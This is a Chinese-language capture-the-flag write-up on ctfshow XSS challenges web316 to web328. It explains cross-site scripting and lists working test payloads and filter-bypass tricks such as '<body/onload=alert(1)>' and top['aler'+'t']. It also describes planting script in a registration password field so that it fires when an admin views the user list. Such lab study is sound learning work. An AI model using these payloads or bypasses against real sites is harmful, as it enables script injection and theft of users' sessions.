ctfshow——XSS

文章目录

XSS介绍

什么是xss?

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS危害

  • 通过document.cookie盗取cookie中的信息。
  • 使用js或css破坏页面正常的结构与样式。
  • 流量劫持(通过访问某段具有window.location.href定位到其他页面)。
  • dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
  • 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。

XSS的分类

  • 反射型
    一般来说这种类型的XSS,需要攻击者提前构造一个恶意链接 ,来诱使客户点击 ,比如这样的一段链接:www.abc.com/?params=x。
  • 存储型
    这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。
  • DOM型
    这种类型则是利用非法输入来闭合对应的html标签。

常用XSSpayload

javascript 复制代码
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<image src=1 onerror=alert(1)>
<body onload=alert(1)> // 在页面加载完成后执行onload指定的函数
<svg onload=alert(1)> // 在SVG图像加载完成后执行onload指定的函数
<iframe/onload=alert(1)></iframe> // <iframe>标签是用于在网页中嵌入其他网页或文档的元素,onload事件是在<iframe>加载完成后触发的事件。
<body onload="windows.open('https://www.baidu.com')"> // 加载百度页面

<body onload='console.log(1)'> // 控制台打印1
<body onload='console.info(1)'>
<body onload='console.error(1)'>

绕过方法
过滤空格,用/、Tab(%09)或者/**/代替空格,如<body/onload=alert(1)>
过滤alert,用top['aler'+'t']绕过
过滤 alert(),用top['aler'+'t'].call 绕过

web316------反射型XSS

在框框中插入XSS语句<script>alert(1)</script>,弹框,说明存在反射型XSS。

也可以使用<body onload='console.error(1)'>。

这里就不找XSS平台,拿flag了~

web317------过滤

用img标签绕过过滤,<img src=1 onerror=alert(1)>或者<image src=1 onerror=alert(1)>

web318------过滤script、img

可以用<image src=1 onerror=alert(1)>或<body onload=alert(1)>

web319------不止过滤script、img

可以用<image src=1 onerror=alert(1)>或<body onload=alert(1)>

web320------过滤空格

这里不仅过滤了script等关键字,还过滤了空格 。过滤空格的话,可以用/或者/**/代替空格,进行绕过。构造payload:<body/onload=alert(1)>。

web321------不止过滤空格

这关不仅过滤了空格,但是也可以用<body/onload=alert(1)>判断这里存在XSS。

web322------不止过滤空格

<body/onload=alert(1)>可以判断这里存在XSS。

web323

<body/onload=alert(1)>,通杀

web324

<body/onload=alert(1)>,通杀

web 325

<body/onload=alert(1)>,通杀

web326------过滤alert

<body/onload=alert(1)>这次不行,换<body/onload="windows.open('https://www.baidu.com')">,会打开百度的页面,说明存在XSS漏洞。

其实,它是过滤了alert关键字,可以用top['aler'+'t']代替alert。payload:<body/onload=top['aler'+'t'](1)>

web327------存储型

这里<body/onload=alert(1)>可以提交,但是不能判断从页面判断是否存在存储型XSS。

web328------存储型

思路:就是在注册的时候,将XSS代码写到密码中,当管理员查看用户管理页面的时候,就会执行XSS代码。

这里也是不能从前端直接判断有没有XSS漏洞。

后面存储型就不做了,目前还不知道怎么打存储型XSS后,就能说明存在存储型XSS漏洞。

相关推荐
红尘散仙7 小时前
谁说终端只能敲键盘?我用 Rust 给小说阅读器加上了鼠标
前端·后端·rust
陈随易8 小时前
C++26 草案被否,二十八年来头一回
前端·后端·程序员
ZhengEnCi8 小时前
Agent 工具怎么折叠海量输出才「爽」:Trae、Claude Code 的渐进式披露设计原理
前端·agent
IT_陈寒11 小时前
Redis内存暴涨,没想到是AOF重写捣的鬼
前端·人工智能·后端
ikoala11 小时前
让 Codex 自己查账:一个省 token 的小技巧
前端·后端·ai编程
ikoala11 小时前
AI 写页面像说明书,修 Bug 像贴膏药?把这两句话写进 AGENTS.md
前端·javascript·ai编程
去伪存真14 小时前
AI Agent Harness 深度测评与技术选型实战
前端·agent
FRing0316 小时前
vue2干货总结7(自定义指令、插槽、单页应用程序、路由的使用(VueRouter))
开发语言·前端·vue.js·vue2
疯华整猫19 小时前
被杀掉之后:我把 Android 的「唤起 + 常驻」重做了一遍
前端·面试·架构
IT_陈寒21 小时前
Java开发实战:从入门到精通
前端·人工智能·后端